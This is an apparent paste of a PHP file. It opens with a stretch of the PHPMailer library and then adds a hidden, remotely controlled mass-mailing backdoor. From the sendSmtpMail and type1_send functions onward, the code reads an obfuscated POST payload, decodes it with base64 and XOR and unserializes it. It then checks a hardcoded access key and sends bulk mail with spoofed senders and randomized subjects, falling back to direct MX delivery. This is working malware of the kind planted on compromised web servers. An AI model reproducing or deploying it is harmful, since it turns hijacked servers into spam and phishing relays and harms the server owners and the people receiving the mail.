  2487.         $pathinfo = array();
  2488.         if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  2489.             if (array_key_exists(1, $pathinfo)) {
  2490.                 $ret['dirname'] = $pathinfo[1];
  2491.             }
  2492.             if (array_key_exists(2, $pathinfo)) {
  2493.                 $ret['basename'] = $pathinfo[2];
  2494.             }
  2495.             if (array_key_exists(5, $pathinfo)) {
  2496.                 $ret['extension'] = $pathinfo[5];
  2497.             }
  2498.             if (array_key_exists(3, $pathinfo)) {
  2499.                 $ret['filename'] = $pathinfo[3];
  2500.             }
  2501.         }
  2502.         switch ($options) {
  2503.             case PATHINFO_DIRNAME:
  2504.             case 'dirname':
  2505.                 return $ret['dirname'];
  2506.             case PATHINFO_BASENAME:
  2507.             case 'basename':
  2508.                 return $ret['basename'];
  2509.             case PATHINFO_EXTENSION:
  2510.             case 'extension':
  2511.                 return $ret['extension'];
  2512.             case PATHINFO_FILENAME:
  2513.             case 'filename':
  2514.                 return $ret['filename'];
  2515.             default:
  2516.                 return $ret;
  2517.         }
  2518.     }
  2519.     public function set($name, $value = '')
  2520.     {
  2521.         try {
  2522.             if (isset($this->$name)) {
  2523.                 $this->$name = $value;
  2524.             } else {
  2525.                 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
  2526.             }
  2527.         } catch (Exception $exc) {
  2528.             $this->setError($exc->getMessage());
  2529.             if ($exc->getCode() == self::STOP_CRITICAL) {
  2530.                 return false;
  2531.             }
  2532.         }
  2533.         return true;
  2534.     }
  2535.  
  2536.     public function secureHeader($str)
  2537.     {
  2538.         return trim(str_replace(array("\r", "\n"), '', $str));
  2539.     }
  2540.     public static function normalizeBreaks($text, $breaktype = "\r\n")
  2541.     {
  2542.         return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  2543.     }
  2544.  
  2545.     public function sign($cert_filename, $key_filename, $key_pass)
  2546.     {
  2547.         $this->sign_cert_file = $cert_filename;
  2548.         $this->sign_key_file = $key_filename;
  2549.         $this->sign_key_pass = $key_pass;
  2550.     }
  2551.     public function DKIM_QP($txt)
  2552.     {
  2553.         $line = '';
  2554.         for ($i = 0; $i < strlen($txt); $i++) {
  2555.             $ord = ord($txt[$i]);
  2556.             if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  2557.                 $line .= $txt[$i];
  2558.             } else {
  2559.                 $line .= '=' . sprintf('%02X', $ord);
  2560.             }
  2561.         }
  2562.         return $line;
  2563.     }
  2564.     public function DKIM_Sign($signHeader)
  2565.     {
  2566.         if (!defined('PKCS7_TEXT')) {
  2567.             if ($this->exceptions) {
  2568.                 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  2569.             }
  2570.             return '';
  2571.         }
  2572.         $privKeyStr = file_get_contents($this->DKIM_private);
  2573.         if ($this->DKIM_passphrase != '') {
  2574.             $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  2575.         } else {
  2576.             $privKey = $privKeyStr;
  2577.         }
  2578.         if (openssl_sign($signHeader, $signature, $privKey)) {
  2579.             return base64_encode($signature);
  2580.         }
  2581.         return '';
  2582.     }
  2583.     public function DKIM_HeaderC($signHeader)
  2584.     {
  2585.         $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  2586.         $lines = explode("\r\n", $signHeader);
  2587.         foreach ($lines as $key => $line) {
  2588.             list($heading, $value) = explode(':', $line, 2);
  2589.             $heading = strtolower($heading);
  2590.             $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  2591.             $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  2592.         }
  2593.         $signHeader = implode("\r\n", $lines);
  2594.         return $signHeader;
  2595.     }
  2596.     public function DKIM_BodyC($body)
  2597.     {
  2598.         if ($body == '') {
  2599.             return "\r\n";
  2600.         }
  2601.         // stabilize line endings
  2602.         $body = str_replace("\r\n", "\n", $body);
  2603.         $body = str_replace("\n", "\r\n", $body);
  2604.         // END stabilize line endings
  2605.         while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  2606.             $body = substr($body, 0, strlen($body) - 2);
  2607.         }
  2608.         return $body;
  2609.     }
  2610.     public function DKIM_Add($headers_line, $subject, $body)
  2611.     {
  2612.         $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  2613.         $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  2614.         $DKIMquery = 'dns/txt'; // Query method
  2615.         $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  2616.         $subject_header = "Subject: $subject";
  2617.         $headers = explode($this->LE, $headers_line);
  2618.         $from_header = '';
  2619.         $to_header = '';
  2620.         $current = '';
  2621.         foreach ($headers as $header) {
  2622.             if (strpos($header, 'From:') === 0) {
  2623.                 $from_header = $header;
  2624.                 $current = 'from_header';
  2625.             } elseif (strpos($header, 'To:') === 0) {
  2626.                 $to_header = $header;
  2627.                 $current = 'to_header';
  2628.             } else {
  2629.                 if ($current && strpos($header, ' =?') === 0) {
  2630.                     $current .= $header;
  2631.                 } else {
  2632.                     $current = '';
  2633.                 }
  2634.             }
  2635.         }
  2636.         $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  2637.         $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  2638.         $subject = str_replace(
  2639.             '|',
  2640.             '=7C',
  2641.             $this->DKIM_QP($subject_header)
  2642.         ); // Copied header fields (dkim-quoted-printable)
  2643.         $body = $this->DKIM_BodyC($body);
  2644.         $DKIMlen = strlen($body); // Length of body
  2645.         $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  2646.         $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
  2647.         $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  2648.             $DKIMsignatureType . '; q=' .
  2649.             $DKIMquery . '; l=' .
  2650.             $DKIMlen . '; s=' .
  2651.             $this->DKIM_selector .
  2652.             ";\r\n" .
  2653.             "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  2654.             "\th=From:To:Subject;\r\n" .
  2655.             "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  2656.             "\tz=$from\r\n" .
  2657.             "\t|$to\r\n" .
  2658.             "\t|$subject;\r\n" .
  2659.             "\tbh=" . $DKIMb64 . ";\r\n" .
  2660.             "\tb=";
  2661.         $toSign = $this->DKIM_HeaderC(
  2662.             $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
  2663.         );
  2664.         $signed = $this->DKIM_Sign($toSign);
  2665.         return $dkimhdrs . $signed . "\r\n";
  2666.     }
  2667.     public function getToAddresses()
  2668.     {
  2669.         return $this->to;
  2670.     }
  2671.  
  2672.     public function getCcAddresses()
  2673.     {
  2674.         return $this->cc;
  2675.     }
  2676.  
  2677.     public function getBccAddresses()
  2678.     {
  2679.         return $this->bcc;
  2680.     }
  2681.  
  2682.     public function getReplyToAddresses()
  2683.     {
  2684.         return $this->ReplyTo;
  2685.     }
  2686.  
  2687.     public function getAllRecipientAddresses()
  2688.     {
  2689.         return $this->all_recipients;
  2690.     }
  2691.  
  2692.     protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  2693.     {
  2694.         if (!empty($this->action_function) && is_callable($this->action_function)) {
  2695.             $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  2696.             call_user_func_array($this->action_function, $params);
  2697.         }
  2698.     }
  2699. }
  2700. class phpmailerException extends Exception
  2701. {
  2702.     public function errorMessage()
  2703.     {
  2704.         $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  2705.         return $errorMsg;
  2706.     }
  2707. }
  2708.  
  2709. /////////////////////////////////////////////////////////////////
  2710. function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type)
  2711. {
  2712.     $mail = new PHPMailer();
  2713.     $mail->isMail();
  2714.     $mail->CharSet = 'utf-8';
  2715.     $mail->SetFrom($from_email, $from_name);
  2716.     $mail->AddAddress($to);
  2717.     $mail->Subject = $subject;
  2718.    
  2719.     if ($type == "1")
  2720.     {
  2721.         $mail->MsgHTML($body);
  2722.     }
  2723.     elseif ($type == "2")
  2724.     {
  2725.         $mail->isHTML(false);
  2726.         $mail->Body = $body;
  2727.     }
  2728.  
  2729.     if (isset($_FILES))
  2730.     {
  2731.         foreach($_FILES as $key => $file)
  2732.         {
  2733.                 $mail->addAttachment($file['tmp_name'], $file['name']);
  2734.         }
  2735.     }
  2736.  
  2737.     if (!$mail->send())
  2738.     {
  2739.         $to_domain = explode("@", $to);
  2740.         $to_domain = $to_domain[1];
  2741.         $mail->IsSMTP();
  2742.         $mail->Host       = mx_lookup($to_domain);
  2743.         $mail->Port       = 25;
  2744.         $mail->SMTPAuth   = false;
  2745.         if (!$mail->send())
  2746.         {
  2747.             return Array(0, $mail->ErrorInfo);
  2748.         }
  2749.         else
  2750.         {
  2751.             return Array(2, 0);
  2752.         }
  2753.     }
  2754.     else
  2755.     {
  2756.         return Array(1, 0);
  2757.     }
  2758. }
  2759.  
  2760. function mx_lookup($hostname)
  2761. {
  2762.     @getmxrr($hostname, $mxhosts, $precedence);
  2763.     if(count($mxhosts) === 0) return '127.0.0.1';
  2764.     $position = array_keys($precedence, min($precedence));
  2765.     return $mxhosts[$position[0]];
  2766. }
  2767. function myhex2bin( $str ) {
  2768.     $sbin = "";
  2769.     $len = strlen( $str );
  2770.     for ( $i = 0; $i < $len; $i += 2 ) {
  2771.         $sbin .= pack( "H*", substr( $str, $i, 2 ) );
  2772.     }
  2773.     return $sbin;
  2774. }
  2775.  
  2776. function b64d($input) {
  2777.     $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  2778.     $chr1 = $chr2 = $chr3 = "";
  2779.     $enc1 = $enc2 = $enc3 = $enc4 = "";
  2780.     $i = 0;
  2781.     $output = "";
  2782.  
  2783.     $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
  2784.     do {
  2785.         $enc1 = strpos($keyStr, substr($input, $i++, 1));
  2786.         $enc2 = strpos($keyStr, substr($input, $i++, 1));
  2787.         $enc3 = strpos($keyStr, substr($input, $i++, 1));
  2788.         $enc4 = strpos($keyStr, substr($input, $i++, 1));
  2789.         $chr1 = ($enc1 << 2) | ($enc2 >> 4);
  2790.         $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
  2791.         $chr3 = (($enc3 & 3) << 6) | $enc4;
  2792.         $output = $output . chr((int) $chr1);
  2793.         if ($enc3 != 64) {
  2794.             $output = $output . chr((int) $chr2);
  2795.         }
  2796.         if ($enc4 != 64) {
  2797.             $output = $output . chr((int) $chr3);
  2798.         }
  2799.         $chr1 = $chr2 = $chr3 = "";
  2800.         $enc1 = $enc2 = $enc3 = $enc4 = "";
  2801.     } while ($i < strlen($input));
  2802.     return $output;
  2803. }
  2804.  
  2805. function decode($data, $key)
  2806. {
  2807.     $out_data = "";
  2808.     for ($i=0; $i<strlen($data);)
  2809.     {
  2810.         for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
  2811.         {
  2812.             $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
  2813.         }
  2814.     }
  2815.     return $out_data;
  2816. }
  2817. function type1_send($config)
  2818. {
  2819.     $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
  2820.  
  2821.     $data = b64d($config);
  2822.     $data = decode($data, $key);
  2823.     $data = @unserialize($data);
  2824.     if (!$data || !isset($data['ak']))
  2825.     {
  2826.         return FALSE;
  2827.     }
  2828.     if ($data['ak'] != "bc06b91d-65ab-4bb4-b32c-e86f01fa3a05")
  2829.     {
  2830.         exit();
  2831.     }
  2832.     if (isset($data['c']))
  2833.     {
  2834.         $res["r"]["c"] = $data['c'];
  2835.         return serialize($res);
  2836.     }
  2837.     $good = 0;
  2838.     $bad = 0;
  2839.     $last_error = Array(0, 0);
  2840.     foreach ($data['e'] as $uid=>$email)
  2841.     {
  2842.         $theme = $data['s'][array_rand($data['s'])];
  2843.         $theme = alter_macros($theme);
  2844.         $theme = num_macros($theme);
  2845.         $theme = xnum_macros($theme);
  2846.         $message = $data['l'];
  2847.         $message = alter_macros($message);
  2848.         $message = num_macros($message);
  2849.         $message = xnum_macros($message);
  2850.         $message = fteil_macros($message, $uid);
  2851.         $from = $data['f'][array_rand($data['f'])];
  2852.         $from = alter_macros($from);
  2853.         $from = num_macros($from);
  2854.         $from = xnum_macros($from);
  2855.        
  2856.         if (strstr($from, "[CUSTOM]") == FALSE)
  2857.         {
  2858.             $from = from_host($from);
  2859.         }
  2860.         else
  2861.         {
  2862.             $from = str_replace("[CUSTOM]", "", $from);
  2863.         }
  2864.        
  2865.         $from_email = explode("<", $from);
  2866.         $from_email = explode(">", $from_email[1]);
  2867.         $from_name = explode("\"", $from);
  2868.         $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt']);
  2869.        
  2870.         if ($last_error[1] === 0)
  2871.         {
  2872.             $good++;
  2873.         }
  2874.         else
  2875.         {
  2876.             $bad++;
  2877.             $good = count($data['e']) - $bad;
  2878.         }
  2879.     }
  2880.    
  2881.     $res["r"]["t"] = $last_error[0];
  2882.     $res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1];
  2883.     $res["r"]["g"] = $good;
  2884.     $res["r"]["b"] = $bad;
  2885.  
  2886.     return serialize($res);
  2887. }
  2888.  
  2889. $config = array_values($_POST);
  2890. $res = type1_send($config[0]);
  2891. if ($res) {
  2892.     echo $res;
  2893. }
  2894.  
  2895. exit();?>
Add Comment
Please, Sign In to add comment